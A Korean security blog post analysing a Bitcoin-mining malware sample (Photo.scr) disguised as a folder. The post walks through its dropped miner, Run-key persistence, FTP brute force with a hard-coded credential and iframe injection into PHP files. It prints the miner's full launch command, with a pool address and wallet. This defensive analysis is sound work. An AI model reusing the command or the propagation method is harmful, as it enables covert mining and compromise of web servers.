메뉴 건너뛰기

Hello :0

비트코인 채굴 악성코드(Photo.scr)

2016.08.12 00:51

Leekyu 조회 수:3377

1. 개요

이번에 볼 악성코드는 사용자 몰래 비트코인을 채굴하는 악성코드이다.

해당 악성코드는 몇개월 전부터 확장을 하고 있는 것으로 판단된다..

- http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=24874

위 주소에서 다루고 있으며 작성자가 획득한 도메인과 동일한 곳이 아닐까 추정한다.

 

1.png

파일에 다수의 iframe이 삽입되어 있다.

 

2.png

해당 사이트의 FTP 접속이 가능하여 파일 다운이 된다.

 

2. 분석

 

3.png

파일을 다운 받으면 아이콘 모양이 폴더 형태로 되어 있다. 실수로 클릭하기 딱 좋은 형태이다.

 

4.png

먼저 악성코드의 내부 문자열을 확인 해본다. 계정 정보로 보이는 문자열을 확인 가능하다.

 

5.png

다수의 러시아 도메인이 존재 하는것도 확인 가능하다.

 

6.png

악성코드 내부에는 명령어로 보이는 문자열과 iframe 구문을 확인 할 수 있다.

 

7.png

PEView를 이용해서 파일 내부를 확인하면 Resource영역에 또다른 PE파일이 존재함을 확인 할 수 있다.

내부에 존재하는 파일을 Resource Hacker을 이용해서 추출한다.

 

8.png

파일을 실행하면 가상 환경에서 실행 할 수 없다고 알람이 뜬다.

 

9.png

추출한 파일을 바이러스 토탈에 올리면 해당 파일이 비트코인 채굴 프로그램임을 확인 할 수 있다. 일단 채굴 프로그램은 놔두고 Photo.scr로 다시 돌아간다. 

 

10.png

OllyDBG를 이용해 파일을 열어보면 가장 먼저 사진의 주소로 접속을 시도 한다.

 

11.png

위에 나와있던 주소를 번갈아 가면서 접속 시도.

 

12.png

통신 내용을 Wireshark를 이용해 확인 하면 현재까지 외부로 보내는 정보는 없고 C&C 서버에서 정보를 가져오기만 한다.

 

13.png

받아온 값을 메모리에 저장한다.

 

15.png

strstr, strcpy와 같은 API을 사용하여 문자열을 복사하는 것을 확인 할 수 있다.

 

16.png

17.png

위 코드들의 실행되면 NsCpuCMMiner32.exe를 좀 있다가 실행 시킬 것이구나를 알 수 있다.

 

/c start /b %TEMP%\NsCpuCNMiner32.exe -dbg -1 -o stratum+tcp://mine.xxxxxxxxxxxx.com:3333 -t 1

-u4ASTnar5DSKjPW6kD5D5wm4Ha9abEeUU2ik2D3KwBxTV88iV5AHTraxLpAU4ZGbzneh4ohNCjX1LBZYPtuzN3xKxGrtrU2g-p x

 

최종 명령어는 위와 같다

 

18.png

리소스 관련 함수를 사용하여 파일을 드랍할 준비를 한다.

 

19.png

20.png

CreateFile API를 사용하여 C:\Docume~1\ADMI~1\LOCALS~1\Temp\MsCpuCMMiner32.exe 로 파일을 생성한다.

 

 

22.png

23.png

다음으로 WriteFile API를 이용해 파일 내부를 채운다.

 

24.png

파일이 생성 완료

 

25.png

파일이 생성되면 ShellExecute를 이용해 위에 있던 명령어를 실행시킨다.

 

26.png

27.png

28.png

그리고 나서 동일 폴더에 pools.txt 파일을 생성후 비트코인 관련 도메인 주소를 작성한다.

 

29.png

30.png

레지스트리 접근을 하여 PC가 재부팅 될경우 자동실행 되도록 CurrentVersion\Run에 등록한다.

 

31.png

레지스트리에 자동 실행 되도록 등록된 사진

 

32.png

그 후 악성코드는 CMD명령어를 이용해 PC에 존재하는 모든 드라이버로 파일 복재를 시도 한다.

 

쓰레드 영역

33.png

외부 접근을 하기 위해 랜덤한 IP를 생성한다.

 

34.png

문자열 부분에 본 계정 정보로 보이는 값들이 메모리 상에 로드 된다.

 

35.png

36.png 37.png

랜덤한 주소 값 서버의 21(0x15)port로 www-data 1234567890으로 접속 셋팅

 

38.png

쓰레드를 만들고 접속 시도하고 계속적으로 반복하여 시스템 자원에 과부하를 주더라....

 

39.png

테스트로 조작해서 FTP 접속하게 함.

 

40.png

익명 FTP 접속 성공후 디렉터리 확인

 

41.png

FTP Put 명령어를 이용해서 파일 업로드를 시도한다. 

 

42.png

43.png

명령어가 실행되면 익명 FTP 서버에는 Photo.scr이 만들어진다.

 

44.png

그리고 나서 FTP 서버안의 파일들중 웹페이지 관련 파일을 찾기 위해 확장자를 비교한다.

 

45.png

비교하는 확장자 목록

 

46.png

47.png

48.png

임시로 php 확장자의 파일을 서버 안데 준비 해두었고, 악성코드는 php 확장자의 파일을 임시 폴더로 가져온다.

 

49.png

50.png

파일을 열고난후 악성코드는 iframe을 php 파일 안에 삽입한다.

 

51.png 52.png

그리고 변경한 파일을 다시 Put명령어를 사용해 업로드 한다.

 

53.png

54.png

파일에 삽입된 IFRAM

 

55.png

위의 과정을 진행하고 나면 파일 수정과 FTP 정보를 C&C 서버로 보낸다.

 

57.png

58.png

그런다음 감염된 PC에 임시로 생성한 소스코드 파일은 삭제한다.

 

정리

악성코드가 실행되면 네트웍을 통해 비트코인 작동 명령어를 받아온후 이것을 실행시키고 다수의 쓰레드를 생성하여 랜덤한 IP로 FTP bruteforce를 한다.

로그인이 성공하면 파일을 업로드하고 웹페이지 소스 수정을 시도 하여 유포한다.